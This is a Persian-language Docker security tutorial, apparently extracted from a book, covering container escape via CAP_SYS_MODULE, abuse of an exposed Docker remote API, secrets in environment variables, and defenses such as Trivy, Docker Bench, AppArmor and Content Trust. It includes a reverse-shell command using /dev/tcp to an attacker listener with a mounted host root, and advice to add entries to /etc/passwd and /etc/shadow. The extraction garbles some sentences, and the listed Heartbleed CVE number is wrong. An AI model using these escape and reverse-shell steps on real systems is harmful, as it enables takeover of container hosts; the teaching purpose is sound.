با دستور زیر محتوای رمز شده را دوباره به حالت اول برگردانده و در  کردن محتوا،    وارد. پس از  کنیممی

 اید.درواقع شما با این کار فایل را به کانتینر منتقل کرده  کنیم. فایلی با نام مورنظر ذخیره می

 

/# base64 -d /tmp/temp.ko > /tmp/docker_module.ko 

 

 کنیم: برای بارگذاری ماژول کرنل از داخل کانتینر، دستور زیر را اجرا می 

 
 

 Docker module has پیام »  همانطور که توقع داشتیم  کند و این دستور ماژول را بدون خطا بارگذاری می 

been loaded شود.های کرنل میزبان نمایش داده می « در لاگ 

 

 تأیید کنیم که ماژول در کرنل میزبان بارگذاری شده است. lsmodتوانیم با دستور  همچنین می 
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استفاده کنیم    CAP_SYS_MODULEتوانیم از قابلیت  یک مثال است از اینکه چگونه می   سناریو تنها  این

 های کرنل را از داخل کانتینر روی کرنل میزبان بارگذاری کنیم. تا ماژول 

دهد از داخل کانتینر، کنترل  دهنده یک ضعف امنیتی جدی است که به مهاجم اجازه می این قابلیت نشان 

ها در  ها و قابلیت ان را به دست بگیرد. این مثال اهمیت محدود کردن دسترسیسطح پایین سیستم میزب

 کند.های کانتینری را برجسته می محیط 

 CAP_SYS_MODULEگریز از کانتینر با استفاده از   3-1-6

تواند یک ماژول ساده کرنل را بر روی  در بخش قبلی، درباره این صحبت کردیم که یک مهاجم چگونه می 

ها توانیم ماژول کرنل را بهبود دهیم تا به جای چاپ پیاممیزبان بارگذاری کند. در این مثال، ما می کرنل  

 ( به ما بدهد.reverse shellدر لاگ کرنل، یک شل معکوس )

در این بخش، ما به بررسی چگونگی بارگذاری یک ماژول کرنل برای دریافت یک شل معکوس خواهیم  

رویم و دو  ایجاد کرده و به آنجا می   "reverseshell_module"ری جدید به نام  پرداخت. ابتدا یک دایرکتو

 کنیم. ایجاد می "reverseshell_module"فایل درون دایرکتوری 

• reverseshell_module.c  
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فراخوانی   call_usermodehelperرا از کرنل با استفاده از تابع    /bin/bashیک برنامه به نام  این ماژول کرنل  

 صدا زده شود. call_usermodehelperشود که تابع کند. این فراخوانی زمانی آغاز می می 

خواهیم اجرا کنیم )در  می   ای است کهها است که اولین عنصر آن برنامه شامل لیستی از آرگومان   argvآرایه  

  NULLشوند. آخرین عنصر یک ترمیناتور  امل می ها را ش ( و بقیه عناصر لیست آرگومان bin/bashاینجا  

 دهد.است که پایان لیست را نشان می 

است که یک آرایه محیطی است و شامل لیستی از پارامترهاست که محیط    envpمتغیر بعدی مورد نیاز  

و این  ایم برای شل تعریف کرده  HOMEکند. در این مثال، ما یک پارامتر به نام اجرای برنامه را تعریف می 

 رسد. کند، به پایان می که پایان آن را مشخص می NULLلیست نیز با یک ورودی 

تابع   برای  آرگومان  می  call_usermodehelper، UMH_WAIT_EXECآخرین  مشخص  که  کند  است 

 به پایان نرسد. و خواهد منتظر بماند تا برنامه کاربری فراخوانی شود دهنده می درخواست

کنیم، بنابراین این  استفاده می   Listenerبه عنوان آدرس    172.17.0.1  با مقدار  IPدر نهایت، ما از آدرس  

 متصل شود.  4444در پورت  IPکند به این آدرس ماژول تلاش می 

 

• Makefile  

 
 ماژول کرنل ایجاد خواهد شد. makeاجرای دستور فایل و پس از ایجاد این دو  

از کامپایل ماژول،   امنیتی تشریح شده در بخش  پس  ماژول کرنل    ۵-۱-۳به همان روشی که در حفره 

  listenerیک    با انتقال ماژول .  کنیممنتقل می  Privilegedحاصل را به داخل کانتینر ایجاد شده با ویژگی  

راه   4444روی پورت   میزبان  اتصال    شود.اندازی می در ماشین  برود، یک  به درستی پیش  اگر همه چیز 
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دهد دهد. این نشان می شود که به مهاجم اجازه دسترسی ریشه به میزبان زیرین را می معکوس برقرار می 

از کانتینر خارج شود و    CAP_SYS_MODULEتواند با سوءاستفاده از قابلیت  که چطور یک مهاجم می 

 به دسترسی ریشه دست یابد.

 

3-1-7 Volume   های بلااستفاده 

شود. این اطلاعات برای مدیریت اطلاعات حساس به شکلی امن استفاده می  Secret، مفهوم  Dockerدر  

( یا هر داده محرمانه دیگری باشد  certificatesها )نامه ، گواهی SSHتواند شامل رمزهای عبور، کلیدهای  می 

در   ها در دسترس باشد، اما نباید در خود ایمیج داکر ذخیره شود یاکه نیاز است در هنگام اجرای سرویس 

باشد. یک سناریو وجود دارد که در آن   قابل مشاهده  میزبان در حین    Volumeروی    هاSecretکانتینر 

تواند به جزئیات لازم برای نیاز  گیرند. بنابراین، کانتینر در حال اجرا می اجرای یک کانتینر داکر قرار می 

ناریو، حتی پس از حذف کانتینر،  دسترسی پیدا کند. لازم به ذکر است که در این س  Volumeخود از این  

Volume    .متصل روی میزبان حذف نخواهد شد 

های بلااستفاده ممکن است موجب افشای اطلاعات محرمانه فراموش شده در این  Volumeعدم پاکسازی  

Volume.ها شود   

ارائه می   پذیری نیست زیرا این ویژگی آسیب باید توجه داشت که این یک   بتوانیم  است که داکر  تا  دهد 

Volumeاین  های حساس به  اگر داده اما  موجود را به کانتینر جدید دیگری متصل کنیم.    هایVolume های  

 تواند خطرناک باشد.   منتقل شوند و حتی بعد از خاتمه کانتینر بلااستفاده بمانند، می 

   Dockerراه دور   APIسوءاستفاده از   3-1-8

api    به صورت از راه دور با داکر دیمون    بتوانند کاربران  دهد تا  امکان میداکر یک ویژگی است که  راه دور

و اجرای    هاImageعملیات مختلفی مانند لیست کردن    API  REST  تعامل داشته باشند و از طریق یک 

و ممکن است خطرناک    کانتینرها را از راه دور انجام دهند. بنابراین، این یک ویژگی بسیار قدرتمند است

و در    در شبکه در دسترس نیست  API  RESTر، این  فرض داکدر تنظیمات پیشبه همین دلیل  .  باشد 
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 . صورت نیاز باید فعال شود

تواند دسترسی پیدا کند، او می  APIراه دور داکر در معرض خطر قرار گیرد و یک مهاجم به این  APIاگر  

چرا که همانطور که    کنترل کامل روی میزبان جایی که داکر دیمون در حال اجراست را به دست آورد.

راه    API( نیاز دارد. بنابراین حتی با استفاده از  rootداکر برای کار کردن به امتیازات )  تر نیز بیان شد،پیش

استفاده    هنگام از آنجایی که  افزایش دهند.    rootکه امتیازات خود را به    دور داکر، مهاجمان قادر خواهند بود 

لذا فعال بودنم این ویژگی خطرات را بسیار افزایش   فرض نیازی به احراز هویت نیستبه طور پیش APIاز 

    دهد.می

آغاز کنیم تا بتوانیم از آن برای تعامل با کانتینرها    Dockerاز راه دور    APIسازی  با نحوه فعال ابتدا    بگذارید 

   استفاده کنیم. HTTPطور از راه دور از طریق به 

برای اسکن    nmapخود نصب کنید.    Ubuntuرا روی هاست    OpenSSHو سرور    nmap  ،jqروع  قبل از ش 

از راه    APIبرداری از  برای دمو بهره   OpenSSHو سرور    JSONابزاری برای زیبا کردن خروجی    jqها،  پورت

ما آن را  لذا لازم است که    فرض فعال نیستطور پیشبه   Dockerاز راه دور    APIنیاز است.    Dockerدور  

را باز   docker.serviceفایل    رفته و   lib/systemd/system/  به مسیر   به این منظور طور صریح فعال کنیم.  به 

 تغییرات زیر را اعمال کنید. و  کرده 

~$ ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 

 

اندازی شده دوباره راه   Dockerکرده و سرویس داکر را مجدد راه اندازی کنید. اکنون باید    ذخیرهفایل را  

  با استفاده از   خیر.رت باز است یا  کنیم که آیا پومیبررسی    ت اعمال شده باشد. حالباشد و تمام تغییرا

 خروجی زیر را خواهیم گرفت:  Nmapفرمان 

 

، Dockerاز راه دور    APIتواند با استفاده از  ، کاربر می image Alpineاندازی یک کانتینر جدید از  پس از راه 

، لیست کانتینرهای در حال اجرا به  APIبه  curlوضعیت کانتینرها را بررسی کند. با ارسال یک درخواست 

 آید. این خروجی شامل اطلاعات مهمی نظیر شناسه کانتینر، نام، وضعیت و زمان ایجاد آن است. دست می 
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ری از کانتینرها و تصاویر موجود در  تدهد تا اطلاعات دقیق به کاربر امکان می   APIعلاوه بر این، استفاده از  

خود   Dockerکند تا مدیریت بهتری بر روی محیط  ها به کاربران کمک می سیستم دریافت کند. این قابلیت

د. این روند نه تنها به تسهیل مدیریت  با کانتینرها و تصاویر تعامل کن  د به طور مؤثرداشته باشد و بتوان

 آورد. عملکرد و وضعیت کانتینرها را نیز فراهم می  کند، بلکه امکان نظارت برکمک می 

اگر در معرض حمله قرار گیرد، خطرات    Dockerراه دور    APIطور که در بخش قبلی بحث کردیم،  همان

ها احتیاط کرد. به دلیل این خطرات، بد  APIاین    استفاده ازامنیتی جدی را به همراه دارد. بنابراین باید در  

 تواند توسط مهاجمان سوءاستفاده شود. نیست ببینیم این ویژگی چگونه می 

توان  می  `ifconfig`ت. با استفاده از دستور  در ماشین خود اس   listenerگام اول برای مهاجم، ایجاد یک  

  4444در پورت    listener، یک `  nc –lvp 4444`ماشین را پیدا کرد. سپس با استفاده از دستور    IPآدرس  

 شود.اندازی می راه

 reverseشود که یک  اندازی می راه  Dockerراه دور    APIدر مرحله بعد، یک کانتینر جدید با استفاده از  

shell  شود:کند. این کار با استفاده از دستور زیر انجام می از کانتینر به ماشین مهاجم ارسال می 

docker -H tcp://localhost:2375 run --rm -v /:/mnt ubuntu chroot /mnt /bin/bash -c "bash -i 

>& /dev/tcp/172.17.0.1/4444 0>&1" 

 

از تصویر   با استفاده  از  اجرا می   Ubuntuدر این دستور، کانتینر جدیدی  شود که در صورت عدم وجود، 

Docker Hub   شود. گزینه  دانلود می-v    برای نصب دایرکتوری ریشه سیستم میزبان به دایرکتوریmnt  

 شود.کانتینر استفاده می 

کند.  ود که اتصال به ماشین مهاجم را فراهم می ش اجرا می  bash commandاندازی این کانتینر، یک  با راه

شود  اندازی می بر روی ماشین قربانی دانلود شده و یک کانتینر راه  image Ubuntuبا اجرای این دستور،  

 دهد.به مهاجم می  reverse shellکه 

ای دارد و در  بررسی کند که چه سطح دسترسی  idتواند با اجرای دستور  ، مهاجم می shellپس از دریافت  

یابد. با نصب دایرکتوری ریشه میزبان به کانتینر،  بر روی کانتینر دست می   rootاین حالت به دسترسی  

سیستم میزبان اضافه کرد و از آن برای ورود به سیستم    etc/shadowو    etc/passwdتوان یک ورودی به  می 

تواند کاربری جدید روی میزبان ایجاد کند  به این ترتیب، به سادگی می  رد.استفاده ک   SSHمیزبان از طریق  

 سوءاستفاده کند. Dockerراه دور  APIهای موجود در پذیری و از آسیب
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 Docker Secretsدسترسی به  3-1-9

قسمت   در  که  شد    هایVolumeهمانطور  داده  توضیح  استفاده  برای    Docker Secretsبلا  قوی  ابزاری 

کند و از  های کانتینری است. این ابزار به امنیت اطلاعات کمک می مدیریت اطلاعات حساس در محیط 

 کند.های کانفیگ جلوگیری می ها یا فایلاشتباهاتی مانند ذخیره اطلاعات حساس در ایمیج 

 Docker Secrets    در محیط   Docker Swarmفقط  در  و  هستند  دسترس  عاد در   Dockerی  های 

Compose    بدونSwarm    قابل استفاده نیستند. برای استفاده ازsecrets  کانتینرها باید به صورت سرویس ،

های متعددی  افزارها است. با وجود اینکه راه های رایج در نرم ها یکی از چالش secretتعریف شوند. مدیریت 

، معمولاً مشاهده  HashCorp Vaultارهایی مثل  افزها وجود دارد، مانند استفاده از نرم secretبرای ذخیره  

که  می  می secretشود  نگهداری  منبع  کد  در خود  و حتی  متغیرهای محیطی  در  به  ها  بخش  این  شوند. 

می  موضوع  این  می بررسی  چگونه  و  است  نادرست  عمل  این  چرا  که  مهاجم  پردازد  یک  توسط  تواند 

 سوءاستفاده شود. 

  Dockerfileشویم. سپس یک  ایجاد کرده و به آن منتقل می   secretsبرای شروع، یک دایرکتوری به نام  

و    MySQLها تنظیم شده در متغیرهای محیطی، از جمله نام پایگاه داده، کاربر  secretساده با برخی از  

 کنیم. ایجاد می  MySQLرمز عبور 

ایجاد   از  داکر    Dockerfileپس  می ،  imageو ساخت  اجرا  را  کانتینر  کانتینر،  یک  این  به  ورود  با  کنیم. 

مهمی نظیر  مشاهده کنیم، که حاوی اطلاعات    envتوانیم متغیرهای محیطی را با استفاده از دستور  می 

 داده است.های پایگاهاعتبارنامه

  docker inspect databaseدر صورتی که به میزبان داکر دسترسی پیدا کرده باشیم، با استفاده از دستور  

دهد که چگونه یک مهاجم با داشتن دسترسی  توانیم اطلاعات مشابهی را مشاهده کنیم. این نشان میمی 

های ذخیره شده در متغیرهای محیطی دسترسی پیدا کند. به عنوان مثال، برای  secretتواند به  کافی می 

 نیم. توانیم از دستور زیر استفاده کدریافت فقط متغیرهای محیطی، می 

 
روش  می این  نشان  ما  به  اگرها  که  می secretدهند  چگونه  نشوند،  محافظت  درستی  به  توسط  ها  توانند 

 مشاهده شوند. داخلی مهاجمین
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 های خودکار پذیری ارزیابی آسیب  4

 Trivyهای خودکار با استفاده از ارزیابی 

Trivy  تواند برای بررسی مشکلات امنیتی در داکر  پذیری ساده و کاربردی است که می یک اسکنر آسیب

های  ها، فایل ها را در ایمیجپذیریدهد تا آسیب ها مورد استفاده قرار گیرد. این ابزار به شما امکان میایمیج

ها یک ابزار بسیار  ایه برای حرف هم برای مبتدیان و هم    Trivyهای وابسته پیدا کنید.  سیستم و کتابخانه 

باز است که برای کانتینرها طراحی شده و همچنین  پذیری ساده و متن یک اسکنر آسیب   . این ابزار مفید است

 کاربرد دارد. DevSecOpsو فرآیندهای  CI/CDدر خطوط  

. برای اجرای نسخه  یک دایرکتوری جدید ایجاد کرده و به آن تغییر مسیر دهید   ابتدا برای کار با این ابزار  

 ، دستور زیر را وارد کنید: Trivyداکر از 

~$ docker run --rm -v `pwd`:/root/.cache/ aquasec/trivy [target] 

 [ را با ایمیج واقعی جایگزین کنید. به عنوان مثال: targetدر این دستور، ] 

~$ docker run --rm -v `pwd`:/root/.cache/ aquasec/trivy getcapsule8/shellshock:test 

 

Trivy  کند و سپس اسکن سریع  روزرسانی می را به ی خود  هاپذیریداده آسیب قبل از شروع اسکن، پایگاه

 شود.ای سطح بالا نمایش داده می ها به همراه خلاصه پذیریدهد. جزئیات آسیبرا انجام می 

 پذیری احتمالی:خروجی یک آسیب 

 libssl 1.0.0پذیر: کتابخانه آسیب  ●

 (Heartbleedپذیری )آسیب CVE-2014-1600پذیری: کد آسیب  ●

 (Highشدت: بالا ) ●

 Docker Bench Securityابزار امنیتی  

Docker Bench Security   های رایج در زمینه استقرار  ها مورد از بهترین شیوه یک اسکریپت است که ده

این ابزار بسیار ساده است. اجازه دهید  استفاده از  کند.  های تولیدی را بررسی می کانتینرهای داکر در محیط 
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ها در استقرارهای  پذیریتوان با استفاده از این ابزار، آسیبمثالی را بررسی کنیم که نشان دهد چگونه می 

Docker    دانلود و اجرا کنید. یک کانتینیر راه اندازی    هابگیت توانید این ابزار را از  کرد. می  شناساییرا

 . کنیممیرا بر روی آن اجرا   Docker bench Securityکرده و ابزار 

docker run -it --net host --pid host --userns host --cap-add audit_control 

\ 

-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ 

-v /etc:/etc \ 

-v /var/lib:/var/lib:ro \ 

-v /var/run/docker.sock:/var/run/docker.sock:ro \ 

--label docker_bench_security \ 

docker/docker-bench-security 

بود:  خواهد  زیر  شرح  به  داشت  خواهیم  که   گزارشی 

  ۱۵توان مشاهده کرد که تنها  کنیم. از تصویر قبلی می دریافت می   موفقیت و    هشدارهای  ما تعدادی اعلان 

رسد، بنابراین اجازه دهید  به نظر نمی   وضعیت خوبایم!  بررسی را با موفقیت پشت سر گذاشته   ۱۰۵مورد از  

 خروجی را مرور کنیم، یکی از هشدارها را انتخاب کنیم و تلاش کنیم آن را برطرف کنیم.

 

دهد. حال باید بررسی کنیم که آیا این  چهار هشدار را نشان می  ۴.۱بینیم که بخش  در تصویر قبلی می 

کرده و برای رفع مشکلی که    متوقف کانتینرها در حال اجرا هستند یا خیر. اگر درحال اجرا بودند آنها را  

توان  فرض، می های پیش شناسایی شده است، به جای استفاده از گزینه   Docker Bench Securityتوسط  

 اندازی کانتینر استفاده کنید:یک کاربر جدید به کانتینر اضافه کرد. برای این کار، از دستور زیر برای راه 

docker run -it --user [username] [image_name] 

فرض که معمولاً کاربر  شود که کانتینر با یک کاربر مشخص اجرا شود، نه با گزینه پیشاین کار باعث می 

root    است. این یک گام مهم برای افزایش امنیت در اجرای کانتینرها است. حال اگر مجددا از ابزار استفاده

https://github.com/docker/docker-bench-security.git
https://github.com/docker/docker-bench-security.git


 28 فایل بان  APIراهنمای اتصال به رابط 

 

. این تغییر به این دلیل است که چهار  افزایش یافته است  ۱۹به    ۱۵توانیم ببینیم که امتیاز ما از  کنیم می 

اند. حالا اجازه دهید  گزارش شده بود، اکنون برطرف شده   Docker Bench Securityموردی که قبلاً توسط  

 از خروجی را نیز بررسی کنیم.  4.1بخش 

 
تغییر کرده است. این   (pass) موفقاکنون به وضعیت    4.1  بخشکه   توان دید در خروجی جدید از ابزار می 

های  برای شناسایی برخی پیکربندی   Docker Bench Securityتوان از ابزار  دهد که چگونه می نشان می 

 ها استفاده کرد. سازی بهترین شیوه نادرست رایج و پیاده 

 دفاع  5

عی محیط  توانیم برای تقویت عمق دفاهای امنیتی خواهد بود که می حال تمرکز ما بر روی برخی از ویژگی 

Docker    خود از آنها استفاده کنیم. موتورDocker   های امنیتی لینوکس مانند  از برخی ویژگیAppArmor ، 

Seccomp    وcapabilities   های امنیتی را همراه با  برد. ما هر یک از این ویژگی برای اهداف امنیتی بهره می

 های عملی در این فصل بررسی خواهیم کرد. مثال

 AppArmorهای استفاده از پروفایل 

 Dockerهای آن در کانتینرهای  و نحوه استفاده از پروفایل   AppArmorدر این بخش، به یک ابزار به نام  

تواند برای  یک ماژول امنیتی لینوکس است که می   Application Armorیا    AppArmorاخت.  خواهیم پرد

در برابر تهدیدات امنیتی مورد استفاده قرار گیرد. لازم به ذکر است که    Dockerمحافظت از کانتینرهای  

AppArmor    مخصوصDocker   .است لینوکس  امنیتی  ابزار  یک  بلکه  است،  نشده   طراحی 

 Dockerتواند با کانتینرهای  نیز می  AppArmorکند،  از هسته لینوکس استفاده می   Dockerه  از آنجایی ک 

را به هر کانتینر اختصاص دهیم.    AppArmorاستفاده شود. برای استفاده از آن، باید یک پروفایل امنیتی  

سفارشی به آن ارائه    AppArmorشود، باید یک پروفایل اندازی می به این ترتیب، زمانی که یک کانتینر راه 

 .بارگذاری و اعمال شده باشد  AppArmorانتظار دارد که یک سیاست  Dockerدهیم و 

، اولین کاری که باید انجام دهیم این است که بررسی کنیم  AppArmorهای  برای شروع استفاده از پروفایل

برای این کار، دستور زیر    در دسترس است یا خیر.  Dockerروی میزبان فعال است و برای    AppArmorآیا  

 را وارد کنید:
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# docker info 

 

Client: 

Debug Mode: false 

Server: 

Take your Infosec Career to the next level with us! www.theoffensivelabs.com 

111Containers: 1 

Running: 1 

Paused: 0 

Stopped: 0 

Images: 8 

Server Version: 19.03.8 

Storage Driver: overlay2 

Backing Filesystem: <unknown> 

Supports d_type: true 

Native Overlay Diff: true 

Logging Driver: json-file 

Cgroup Driver: cgroupfs 

Plugins: 

Volume: local 

Network: bridge host ipvlan macvlan null overlay 

Log: awslogs fluentd gcplogs gelf journald json-file local 

logentries splunk syslog 

Swarm: inactive 

Runtimes: runc 

Default Runtime: runc 

Init Binary: docker-init 

containerd version: 

runc version: 

init version: 

Security Options: 

apparmor 

seccomp 

Profile: default 

Kernel Version: 5.4.0-40-generic 

Operating System: Ubuntu 20.04 LTS 

OSType: linux 

Architecture: x86_64 

CPUs: 1 

Total Memory: 3.844GiB 

Name: docker 
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ID: TLPN:4Z3P:HFPO:RHWK:A6LH:KZP5:K7TF:VBZQ:RPFG:SDXB:LVU3:ZX55 

Docker Root Dir: /var/lib/docker 

Debug Mode: false 

Registry: https://index.docker.io/v1/ 

Labels: 

Experimental: false 

Insecure Registries: 

127.0.0.0/8 

Live Restore Enabled: false 

WARNING: API is accessible on http://0.0.0.0:2375 without 

encryption. 

Access to the remote API is equivalent to root access on 

the host. Refer 

to the 'Docker daemon attack surface' section in the 

documentation for 

more information: 

https://docs.docker.com/engine/security/security/#docker-daemon-a 

ttack-surface 

WARNING: No swap limit support 

های امنیتی موجود است. حالا اجازه دهید یک فایل  در پروفایل   AppArmorتوان دید که از متن قبلی می 

با استفاده از یک ویرایشگر متن ایجاد کنیم و خطوط کد زیر را درون آن   apparmor-profileجدید به نام 

 اضافه کنیم: 

#include <tunables/global> 

Profile apparmor-profile 

flags=(attach_disconnected,mediate_deleted) { 

#include <abstractions/base> 

file, 

network, 

capability, 

deny /tmp/** w, 

deny /etc/passwd rwklx, 

} 

( دسترسی  denyایم: دستور اول )شوند استفاده کرده شروع می   deny، ما از دو ورودی که با  بالادر دستورات  

 کند.قرار دارد را مسدود می  / tmpای که داخل دایرکتوری /نوشتن به هر پوشه 

شود. اما اگر از  های سطح اول اعمال می فایلاگر از یک ستاره )*( استفاده کنیم، این محدودیت فقط برای  

به عبارت    شود.ها نیز اعمال می ها و زیردایرکتوری دو ستاره )**( استفاده کنیم، این محدودیت برای فایل 

 کند.را مسدود می   /tmpها در دایرکتوری /ای، از جمله زیردایرکتوری دیگر، این دستور دسترسی به هر پوشه 

https://index.docker.io/v1/
https://index.docker.io/v1/
https://index.docker.io/v1/
http://0.0.0.0:2375/
https://docs.docker.com/engine/security/security/#docker-daemon-a
https://docs.docker.com/engine/security/security/#docker-daemon-a
https://docs.docker.com/engine/security/security/#docker-daemon-a
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 کند. را مسدود می  etc/passwd/رگونه عملیات )خواندن، نوشتن، یا اجرا( روی فایل ( هdenyدستور دوم )

قوانین   این  از عملکرد صحیح  اطمینان  پروفایل  AppArmorبرای  این  از  استفاده  با  کانتینر جدید  ، یک 

AppArmor کنیم. از دستور زیر برای انجام این کار استفاده کنید: اندازی می راه 

 

  AppArmorهنگام تلاش برای بارگذاری پروفایل    docker runکنیم که دستور  تصویر قبلی مشاهده می   در

قبلاً    AppArmorانتظار دارد یک سیاست    Dockerبا خطا مواجه شده است. دلیل این موضوع این است که  

هنوز بارگذاری نشده است.    بارگذاری و اعمال شده باشد. پروفایلی که ما قصد داریم با کانتینر استفاده کنیم، 

 ، از دستور زیر استفاده کنید:AppArmorبرای بارگذاری پروفایل 

~$ sudo apparmor_parser -r -W apparmor-profile 

 کنیم: حال دوباره دستور زیر را تکرار می 

docker run --rm --security-opt apparmor=apparmor-profile -it ubuntu /bin/bash 

سیاست  به دلیل استفاده از  .میا تغییر دهی   مرا بخوانی  etc/passwdفایل /  کنیممی تلاش  حال در این کانتینر  

AppArmor  باید با خطای مجوز مواجه شود.  عملاین 

 

اند، اجازه دهید تلاش  شکست خورده  AppArmorبرای اثبات اینکه دستور قبلی فقط به دلیل پروفایل 

 را با استفاده از دستور زیر بخوانیم:  etc/shadow/کنیم تا محتوای فایل 



 32 فایل بان  APIراهنمای اتصال به رابط 

 

 

 محتویات فایل نمایش داده شد. است  اعمال نشده    محدودیتی برای این فایل  AppArmorپروفایل  چون در  

 (Capabilitiesها )استفاده از قابلیت 

کند.  ها را از کاربران معمولی متمایز می ای هستند که آن های ویژه در لینوکس دارای دسترسی   rootکاربران  

اند. اختصاص داده شده   rootهای ویژه« است که معمولاً به کاربر  ای از »قدرت ها شامل مجموعه این دسترسی 

به واحدهای مجزا تقسیم کنیم، آن اگر این دسترسی  را  ها( )قابلیت   capabilitiesها به صورت  های ویژه 

 شوند.شناخته می 

ها به ما این  کند. این قابلیتتر را فراهم می های مجزا، امکان کنترل دقیق ها به قابلیتتقسیم این دسترسی 

 دهند که: امکان را می 

 را غیرفعال کنیم.  rootهای برخی از قابلیت و  را کاهش دهیم rootهای قدرت ●

 . های خاص بدهیمدسترسی به کاربران معمولی  ●

پیش  طور  )  Dockerفرض،  به  سفید  لیست  رویکرد  از  استفاده  قابلیتwhitelistبا  تمام  غیرفعال  (  را  ها 

هایی ، قابلیتDockerتوان با استفاده از دستورات  هایی که ضروری هستند. همچنین می کند، به جز آن می 

 را به مجموعه مجاز اضافه کرد یا از آن حذف کرد. 
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برای بررسی لیست    یک کانتینر جدید را اجرا کرده و  ،Dockerها در  رای درک بهتر نحوه استفاده از قابلیت ب

فرض  به صورت پیش   Alpineرا دانلود کنید، زیرا ایمیج    capsh( در ابتدا باید ابزار  capabilitiesها )قابلیت

 این ابزار را ندارد.  

 

( اختصاص  capabilitiesفرض تعدادی قابلیت )صورت پیشکنیم که به کانتینر به تصویر قبلی مشاهده می   در

فرض  طور پیش هایی که به ها را حذف کرده یا قابلیت توانند برخی از این قابلیت داده شده است. کاربران می 

 اند را اضافه کنند.  ارائه نشده 

 Docker Content Trust (DCT)سیستم اعتماد به محتوای داکر  

موضوع   به  بخش،  این  یک    Docker Content Trustپردازیم.  می  Docker Content Trust (DCT)در 

 Dockerهای امضا شده توسط ناشر معتبر از رجیستری  دهد تنها ایمیج قابلیت امنیتی است که اطمینان می 

 شوند. دریافت و اجرا می 

را بررسی کنیم.    Dockerها از رجیستری  ( ایمیجpullهای مختلف برای دریافت )برای شروع، بیایید روش 

 کند:دریافت می Docker Hubاز  latestا برچسب  را ب alpineعنوان مثال، دستور زیر ایمیج به 

( هستند.  mutableها قابل تغییر )این است که تگ   Dockerهای  ها برای ایمیج یک چالش در استفاده از تگ 
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تواند تغییراتی در ایمیج ایجاد کرده و آن را با همان تگ قبلی )مثلاً  دهنده می به عبارت دیگر، یک توسعه 

latest های مختلف اشاره  شود که یک تگ یکسان به ایمیج ی ارسال کند. این موضوع باعث می ( به رجیستر

های تغییرپذیر،  کند. برای اطمینان از دریافت دقیق یک ایمیج خاص و جلوگیری از مشکلات مربوط به تگ

شده استفاده کرد. برای به دست  یک ایمیج شناخته  SHA256توان به جای استفاده از تگ، از هش  می 

 توانید از دستور زیر استفاده کنید:یک ایمیج روی سیستم میزبان، می SHA256آوردن هش 

 

تضمین    SHA256توانید ایمیج خاصی را با استفاده از این هش دریافت کنید.  استفاده از هش  اکنون می 

ایمیجی را دریافت می می  یا  کند که شما دقیقاً همان  از تغییر تگ  کنید که مدنظر دارید، بدون نگرانی 

های حساس  های تولیدی و هنگام کار با ایمیجویژه در محیط ها در رجیستری. این روش به جایگزینی ایمیج

 و مهم، بسیار کاربردی است.

Docker Content Trust   پیش به فعال فرطور  برای  است.  غیرفعال  محیطی  DCTسازی  ض  متغیر  باید   ،

DOCKER_CONTENT_TRUST    توانید به شکل زیر انجام دهید: تنظیم کنید. این کار را می   ۱را برابر با 

 

هایی را دریافت  تنها ایمیج  Dockerشود،  اجرا می   docker pull، وقتی دستور  DCTپس از فعال کردن  

طور دیجیتالی امضا شده باشند. اگر ایمیج فاقد امضای دیجیتال باشد، دستور با خطا مواجه  کند که به می 

 شود.می 

 

 

 

 

 



 35 ها  Docker Containerامن سازی 

 

  ۰توانید موقتاً متغیر محیطی را برابر با دریافت کنید، می  DCTگر نیاز دارید ایمیج خاصی را بدون تأیید ا

 قرار دهید. 

 

 

 

 


